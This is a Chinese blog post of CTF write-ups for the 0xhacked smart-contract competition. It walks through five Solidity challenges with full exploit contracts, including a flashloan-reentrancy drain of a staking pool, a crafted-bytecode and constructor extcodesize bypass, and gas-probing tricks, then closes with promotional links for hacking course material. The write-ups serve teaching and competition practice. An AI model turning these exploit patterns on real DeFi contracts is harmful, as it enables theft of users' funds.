【网络安全】0xhacked CTF 大赛题解出炉啦!

此次 0xhacked CTF 比赛,ChainSecLabs 取得了第四名的成绩。让我们来看看比赛题目的题解吧。(题目代码仓库在文末哦~)
在这里插入图片描述
在这里插入图片描述

BabyOtter

这是应该说是一个算法题,很明显需要溢出,因为精度问题,uint256(-1)/0x1337并不行。没有写出一个脚本找出X,而是找到了其中的数学规律。

//387 第12次溢出
//362 第24次溢出
//337 第36次溢出
...
//12 第192溢出

以上是一个循环,之后每个循环的末尾的数减1。


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBabyOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
        address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
        IBabyOtter(target).solve(number);
    }
}

以上是一个循环,之后每个循环的末尾的数减1。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBabyOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
        address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
        IBabyOtter(target).solve(number);
    }
}

ChildOtter

做题时只是用debug查了下memory中0x20的值是

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。

赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。

ChildOtter

做题时只是用debug查了下memory中0x20的值是

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。

赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。

原理:对应文档中的映射值得插槽计算方法通过

keccak256(abi.encodePacked(uint(key),uint(slot)))

可以算出 第一层映射值得插槽为:

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,

第二层映射插槽为:

0xed428e1c45e1d9561b62834e1a2d3015a0caae3bfdc16b4da059ac885b01a145

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IChildOtter {
    function solve(uint x) external;
}

contract Exploit {
    function exploit() public {
        // write code here
        address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
        IChildOtter(target).solve(
            0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5
        );
    }
}

StakePool

本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IStakePool {
    function deposit() external payable returns (uint256);
    function withdraw(uint256 shares) external returns (uint256);
    function flashloan(uint256 amount, bytes calldata data) external;
    function faucet() external;
    function solve() external;
}

contract Exploit {
    uint shares;

    function exploit() public {
        // write code here
        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;

        IStakePool(target).faucet();

        uint amount = (address(this).balance * 10000) / 5;
        IStakePool(target).flashloan(amount, "");
        IStakePool(target).withdraw(shares);
        for(uint i = 0; i < 2; i++){
            IStakePool(target).flashloan(address(target).balance, "");
            IStakePool(target).withdraw(shares);
        }

        IStakePool(target).solve();
    }

    function onStakPoolFlashloan(
        uint amount,
        uint feeAmount,
        bytes memory data
    ) external payable {
        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
        shares = IStakePool(target).deposit{value: amount + feeAmount}();
    }

    fallback() external payable {}
}

Bytedance

完成题目需要跑通过两次staticcall返回不同的值。

第一次会把"Hello Player"和target的字节码打包创建一个新的合约。”Hello Player“的bytes表示为

0x48656c6c6f20506c61796572

转换为字节码为:

在这里插入图片描述
可以看到前面这些字节码无伤大雅 只需要填充19字节就可以直接按照我们的逻辑来编写。

第二次把"*V"和target的字节码打包创建一个新合约。"*V"的bytes表示为0x602a56 转换为字节码为:
在这里插入图片描述
发现字节码会直接跳转到2a的地方继续执行,那么字节码中必须由jumpdest ,但是第一个打包中没有jump。

我首先考虑控制push19 和 jumpdest中间的字段,让第一次打包后jumpdest被覆盖进push的内容中,而第二次打包jumpdest在正确的位置,之后按照自身字节码长度来判断应该返回的值。

我构造了如下字节码:

0x72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd

最后还要解决的一个问题是要求setup target时地址代码长度要求0,我们可以在构造函数中调用setup,这样由于合约还未完成部署,检测的代码长度为0。

攻击合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IBytedance {
    function solve() external;

    function setup() external;
}

contract Exploit {
    function exploit() public {
        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
        bytes
            memory code = hex"72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd";
        Helper helper = new Helper(code);

        IBytedance(target).solve();
    }
}

contract Helper {
    constructor(bytes memory a) public payable {
        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
        IBytedance(target).setup();
        assembly {
            return(add(0x20, a), mload(a))
        }
    }
}

赛后想了下应该有更简单的构造方法,比如在jumpdest之前返回0x48656c6c6f20506c61796572,jumpdest之后返回0x602a56,并且用RETURN返回数据更好,当然本处使用了REVERT一样可行。

Factorial

题目让我们成功调用run方法,其中会staticcall回调msg.sender的factorial(uint256)5次,返回值累乘的结果是120。正常情况下,相同的返回值,累乘5次不可能刚好是120,因此我们需要返回不同的值。

因为staticcall限制不能修改状态,因此采用gas限制,根据冷热地址访问gas消耗不同,返回不同的值:第一次热访问返回120,后面4次冷访问都返回1,即可。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IFactorial {
    function solve() external;
}

contract Exploit {
    IFactorial level;

    // construct() {} // construct not allowed

    function exploit() public {
        // write code here
        address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
        level = IFactorial(target);
        level.solve();
    }

    function factorial(uint256) public view returns (bytes32) {
        uint startGas = gasleft();
        uint bal = address(0x100).balance;
        uint usedGas = startGas - gasleft();
        if (usedGas < 1000) {
            bytes32 data01 = bytes32(uint256(1));
            return data01;
        }
        bytes32 data02 = bytes32(uint256(120));
        return data02;
    }

}

题目代码仓库:
https://github.com/0xHackedLabs/ctf/tree/main

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

在这里插入图片描述

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制
在这里插入图片描述
面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

请添加图片描述

相关推荐

  1. 网络安全面试总结》--大厂面试题目及经验

    2024-03-18 18:28:05       32 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-18 18:28:05       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-18 18:28:05       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-18 18:28:05       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-18 18:28:05       18 阅读

热门阅读

  1. 程序员应该如何选择职业赛道?

    2024-03-18 18:28:05       17 阅读
  2. 鸿蒙内核系统

    2024-03-18 18:28:05       20 阅读
  3. 5.66 BCC工具之offwaketime.py解读

    2024-03-18 18:28:05       16 阅读
  4. 备份恢复新体验!pgBackRest与IvorySQL的完美融合

    2024-03-18 18:28:05       18 阅读
  5. Spring概述总结

    2024-03-18 18:28:05       20 阅读
  6. Linux的内存计算不准如何解决?

    2024-03-18 18:28:05       18 阅读